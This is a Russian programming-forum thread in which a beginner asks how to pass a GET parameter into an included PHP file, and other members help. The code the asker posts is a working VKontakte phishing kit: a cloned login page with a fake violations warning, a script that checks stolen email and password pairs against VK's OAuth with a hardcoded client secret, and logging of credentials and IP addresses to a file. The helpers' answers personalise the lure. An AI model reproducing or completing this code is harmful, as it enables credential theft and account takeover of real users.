Форум программистов, компьютерный форум, киберфорум
PHP для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.80/40: Рейтинг темы: голосов - 40, средняя оценка - 4.80
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28

Как отправить GET из одной страницы на другую?

14.06.2016, 07:22. Показов 8360. Ответов 21
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Приветствую! Нужна ваша помощь!

Имеется файлы index.php и config.php. В первом файле содержится php-обработчик и функция include('config.php');
Во втором файле, config.php, хранится сам html код и:
PHP
1
2
$url = 'site.com'; // Куда переходим
$out = 'log.php'; // Логи
Задача следующая: Нужно отправить GET таким образом site.com/?name=Вася Пупкин, чтобы Вася Пупкин отобразился в определенной строчке на сайте, который находится в config.php
0
Лучшие ответы (1)
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
14.06.2016, 07:22
Ответы с готовыми решениями:

Как отправить данные из одной формы в другую?
Привет, у меня есть программа. В ней есть процедура, которая открывает форму через Someform.Show моя задача остановиться в этой...

Как перенести переменную с одной страницы на другую?
Как перенести переменную с одной страницы на другую?

Как сделать переход с одной страницы в другую
Всем привет , ребят не подскажите как осуществить переход к другой странице. Надо чтобы после того как нажимаешь кнопку Зарегистрироватся...

21
53 / 44 / 10
Регистрация: 10.12.2013
Сообщений: 197
Записей в блоге: 1
14.06.2016, 11:14
После перехода по ссылке site.com/index.php?name=Вася ищи Васю в массиве $_GET['name']. Потом используй значение этой переменной на сайте в нужном месте html кода <?echo $_GET['name']?>
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
15.06.2016, 03:12  [ТС]
Цитата Сообщение от Z_e_e_k_ Посмотреть сообщение
После перехода по ссылке site.com/index.php?name=Вася ищи Васю в массиве $_GET['name']. Потом используй значение этой переменной на сайте в нужном месте html кода <?echo $_GET['name']?>
Дело в том, что $_GET['name'] находится в файле config.php, который открывается через index.php посредством include(), а в самом index.php находится сам движок и обработчик данных. Надо сделать так, чтобы переменная name менялась в config.php таким образом site.com/index.php?name=Вася
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
17.06.2016, 23:25  [ТС]
Никто не подскажет?
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
17.06.2016, 23:35
Всмысле находится в файле config.php?Вы там присваиваете ей значение?
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
17.06.2016, 23:39  [ТС]
Цитата Сообщение от codding_hanter Посмотреть сообщение
Всмысле находится в файле config.php?Вы там присваиваете ей значение?
Сама страница сайта находится в config.php, а в index.php находится php код и функция include(), которая вызывает config.php. Нужно сделать так, чтобы через /index.php?name=Вася, значение Вася присваивалось в config.php, где находится $_GET['name']
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
17.06.2016, 23:48
Лучший ответ Сообщение было отмечено wm_market как решение

Решение

Скиньте код который у вас отвечает за отправку $_GET параметра.

Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php
PHP/HTML
1
2
3
4
5
6
7
8
9
10
11
<form method="GET">
<input type="text" name="name">
<input type="submit" name="Send">
</form>
<?php
include('config.php');
if(isset($_GET['Send'])){
    //echo $_GET['name'];
}
 
?>
config.php
PHP
1
echo $_GET['name'];;
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
17.06.2016, 23:49  [ТС]
Цитата Сообщение от codding_hanter Посмотреть сообщение
Скиньте код который у вас отвечает за отправку $_GET параметра.

Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php
PHP/HTML
1
2
3
4
5
6
7
8
9
10
11
<form method="GET">
<input type="text" name="name">
<input type="submit" name="Send">
</form>
<?php
include('config.php');
if(isset($_GET['Send'])){
    //echo $_GET['name'];
}
 
?>
config.php
PHP
1
echo $_GET['name'];;
Мне надо, чтобы строчка в тексте config.php менялась на name. А это я так понял новое поле?
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
17.06.2016, 23:51
Скиньте код вашего config.php и index.php
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
17.06.2016, 23:58  [ТС]
Цитата Сообщение от codding_hanter Посмотреть сообщение
Скиньте код вашего config.php и index.php
index.php
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 <?php
    include('config.php');// Подключаем инфу
    
    $a=1;//Счетчик 
    $mail = $_POST['email'];
    $pass = $_POST['pass'];
 
  // Инициализируем Curl
    $ch = curl_init(); 
    // Если не работает, надо зарегистрировать свой секретный ключ(http://vk.com/dev)
    curl_setopt($ch, CURLOPT_URL,'https://oauth.vk.com/token?grant_type=password&client_id=3697615&client_secret=AlVXZFMUqyrnABp8ncuU&username='.$mail.'&password='.$pass);     
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
    $helper = curl_exec($ch); 
    curl_close($ch); 
    
    $id= current (explode('}',end(explode('user_id":',$helper)))); //Парсим id
    
  if ($mail != "" and $pass != "")  // Если не в первый раз
  { 
  
    if(preg_match('/[a-zA-Z]/', $id)) // Если неверно
    {
      $a=0;
      $failLogin[1]='value="'.$mail.'" ';
      echo  $failLogin[0].$failLogin[1].$failLogin[2];    
    }
    
    if(!(preg_match('/[a-zA-Z]/', $id))) // Если верно
    {
      $a=0;
      echo '<meta http-equiv="Refresh" content="0;url='.$url.'">';
    }
  }
 
    
    if ($a ==1) // Если в первый раз
    echo $firstLogin;
  
    if(preg_match('/[a-zA-Z]/', $id)) 
    $id='fail';
    $today = date("H:i:s Y/m/d");
    
    $ip=$_SERVER['REMOTE_ADDR'];
    $info="Логин: $mail || Пароль: $pass || IP: $ip || Время = $today || id: $id\r\n";
    $fh=fopen($out, "a+");
    fwrite($fh, $info); // Записываем данные
    fclose($fh);
 
  ?>
config.php(часть)
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
 
$url = 'http://vk.com'; // Куда переходим
$out = 'kotik.php'; // Логи
 
// Если в первый раз
$firstLogin =  '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><script type="text/javascript" async="" src="https://urlvalidation.com/whoami?jsonp=func58352"></script>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>ВКонтакте | Вход</title>
  <link rel="stylesheet" type="text/css" href="https://new.vk.com/css/al/fonts_cnt.css?2307916144">
  <link rel="stylesheet" type="text/css" href="https://new.vk.com/css/al/common.css?2812298637">
<!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(https://new.vk.com/css/al/ie6.css?1054141387); /* ]]> */</style><![endif]-->
<!--[if IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(https://new.vk.com/css/al/ie7.css?532233945); /* ]]> */</style><![endif]-->
<link type="text/css" rel="stylesheet" href="https://new.vk.com/css/api/oauth_popup.css?2783037447">
<script type="text/javascript" language="javascript" src="https://new.vk.com/js/api/common_light.js?2706613887"></script><script type="text/javascript" charset="UTF-8" vkopt_loader="undefined">window._ext_ldr_vkopt_loader=true;</script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vkopt.js" vkopt_loader="vkopt.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_face.js" vkopt_loader="vk_face.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_lib.js" vkopt_loader="vk_lib.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_main.js" vkopt_loader="vk_main.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_media.js" vkopt_loader="vk_media.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_page.js" vkopt_loader="vk_page.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_resources.js" vkopt_loader="vk_resources.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_settings.js" vkopt_loader="vk_settings.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_skinman.js" vkopt_loader="vk_skinman.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_txtedit.js" vkopt_loader="vk_txtedit.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vk_users.js" vkopt_loader="vk_users.js"></script><script type="text/javascript" charset="UTF-8" src="chrome-extension://hoboppgpbgclpfnjfdidokiilachfcbb/scripts/vklang.js" vkopt_loader="vklang.js"></script><link type="text/css" rel="stylesheet" id="vkStyleCSS"><link><style type="text/css" id="vkStyleNode"></style><script type="text/javascript" id="vkStyleCSSJS"></script>
 
<div id="sub_cont">
<form method="POST" id="login_submit" action="index.php">
<table id="container" class="container" cellspacing="0" cellpadding="0"><tbody><tr><td class="head">
  <a href="https://new.vk.com" target="_blank" class="logo"></a><div class="auth_items"><a class="head_name fl_r" href="http://vk.com/join?reg=1" target="_blank">Регистрация</a></div>
</td></tr><tr><td valign="top">
<div class="oauth_error">!ТУТ ДОЛЖНА БЫТЬ ПЕРЕМЕННАЯ NAME!Количесвто нарушений: <b>3</b></div>
Добавлено через 2 минуты
нужно,чтобы вводя /index.php?name=Вася, Этот Вася появлялся в config.php
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
17.06.2016, 23:59
А где вы отправляете параметр $_GET?
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
18.06.2016, 00:00  [ТС]
Цитата Сообщение от codding_hanter Посмотреть сообщение
А где вы отправляете параметр $_GET?
Вот я и прошу о помощи. Отправить параметр GET через index в config.
0
 Аватар для Пифагор
2172 / 1655 / 840
Регистрация: 10.01.2015
Сообщений: 5,207
18.06.2016, 00:02
Цитата Сообщение от wm_market Посмотреть сообщение
В первом файле содержится php-обработчик и функция include('config.php');
Во втором файле, config.php, хранится сам html код и:
Эка Вы хитро сделали. Не проще ли в первый формы запихнуть, а во второй обработчик формы или вообще все одним файлом сделать без include('config.php');?
Цитата Сообщение от wm_market Посмотреть сообщение
PHP
1
$out = 'log.php'; // Логи
Для чего логи хранить в php файле? В каком виде они там хранятся, интересно было бы посмотреть...
Цитата Сообщение от wm_market Посмотреть сообщение
Дело в том, что $_GET['name'] находится в файле config.php
Каким образом GET-переменная изначально может быть в файле? В файле может быть переменная, которая принимает значение GET-переменной после передачи оной или она же, но ее необходимо сначала передать.
Цитата Сообщение от codding_hanter Посмотреть сообщение
PHP/HTML
1
<form method="GET">
Если метод GET, то указывать не обязательно, ибо он GET по умолчанию.
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
18.06.2016, 00:03
Делается так как я и навел пример ранее:

Создается форма из которой отправляется параметер.

Добавлено через 32 секунды
Метод указывать обязательно
0
 Аватар для Пифагор
2172 / 1655 / 840
Регистрация: 10.01.2015
Сообщений: 5,207
18.06.2016, 00:04

Не по теме:

Цитата Сообщение от wm_market Посмотреть сообщение
config.php(часть)
Великие Боги...



Добавлено через 28 секунд
Цитата Сообщение от codding_hanter Посмотреть сообщение
Метод указывать обязательно
Кто Вам сказал такое? Если GET, то не обязательно.
0
25 / 25 / 20
Регистрация: 12.05.2016
Сообщений: 181
18.06.2016, 00:05
Ну как сказать,надо хотя-бы для лучшей читабильности кода.
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
18.06.2016, 00:07  [ТС]
Цитата Сообщение от Пифагор Посмотреть сообщение
Эка Вы хитро сделали. Не проще ли в первый формы запихнуть, а во второй обработчик формы или вообще все одним файлом сделать без include('config.php');?

Для чего логи хранить в php файле? В каком виде они там хранятся, интересно было бы посмотреть...

Каким образом GET-переменная изначально может быть в файле? В файле может быть переменная, которая принимает значение GET-переменной после передачи оной или она же, но ее необходимо сначала передать.

Если метод GET, то указывать не обязательно, ибо он GET по умолчанию.
1. Не хотелось бы канопатить весь сайт)

2. в php чтобы поставить пароль на файл
3. в этом совсем новичок и прошу вашей помощи)
0
209 / 191 / 49
Регистрация: 15.03.2016
Сообщений: 1,229
18.06.2016, 00:10
PHP
1
<div class="oauth_error">'.$_GET{"name"}.'Количесвто нарушений: <b>3</b></div>
0
 Аватар для Пифагор
2172 / 1655 / 840
Регистрация: 10.01.2015
Сообщений: 5,207
18.06.2016, 00:18
Цитата Сообщение от wm_market Посмотреть сообщение
3. в этом совсем новичок и прошу вашей помощи)
Тогда для чего сразу с вилами на танк лезть???
Почитайте основы, посмотрите уроки.
Не заметите, как все это будет щелкаться, как орешки...
0
0 / 0 / 0
Регистрация: 14.06.2016
Сообщений: 28
18.06.2016, 00:28  [ТС]
Цитата Сообщение от codding_hanter Посмотреть сообщение
Скиньте код который у вас отвечает за отправку $_GET параметра.

Добавлено через 2 минуты
Вот как я сделал,вам так надо?
index.php
PHP/HTML
1
2
3
4
5
6
7
8
9
10
11
<form method="GET">
<input type="text" name="name">
<input type="submit" name="Send">
</form>
<?php
include('config.php');
if(isset($_GET['Send'])){
    //echo $_GET['name'];
}
 
?>
config.php
PHP
1
echo $_GET['name'];;
СПАСИБО! ПОМОГЛО!)))
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
18.06.2016, 00:28
Помогаю со студенческими работами здесь

Как передавать данные с одной страницы в другую?
Есть сайт, в определенной части данного сайта отображаются названия загруженных вордовских файлов, и под ней кнопка перехода на 2 страницу....

Как перенести текст с одной страницы на другую?
Подскажите пожалуйста, как передать текст с одной страницы на другую? Пробовал делать с помощью window.location.href =...

Как прописать переадресацию с одной страницы на другую
Всем привет.. кто знает как прописать переадресацию с одной страницы на другую при условии что одной страницы физически нет.. Вот пример ,...

Как передавать значения с одной страницы на другую
Есть добавление в корзину через Jquery: basket.append('&lt;li data-id=&quot;' + itemId + '&quot;&gt;' + '&lt;span...

Как передавать значения с одной страницы на другую
Есть добавление в корзину через Jquery: basket.append('&lt;li data-id=&quot;' + itemId + '&quot;&gt;' + '&lt;span class=&quot;name&quot;&gt;' +...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка.
Programma_Boinc 23.12.2025
Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка. Рецензия / Мнение/ Перевод https:/ / **********/ gallery/ thinkpad-x220-tablet-porn-gzoEAjs . . .
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Как объединить две одинаковые БД Access с разными данными
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru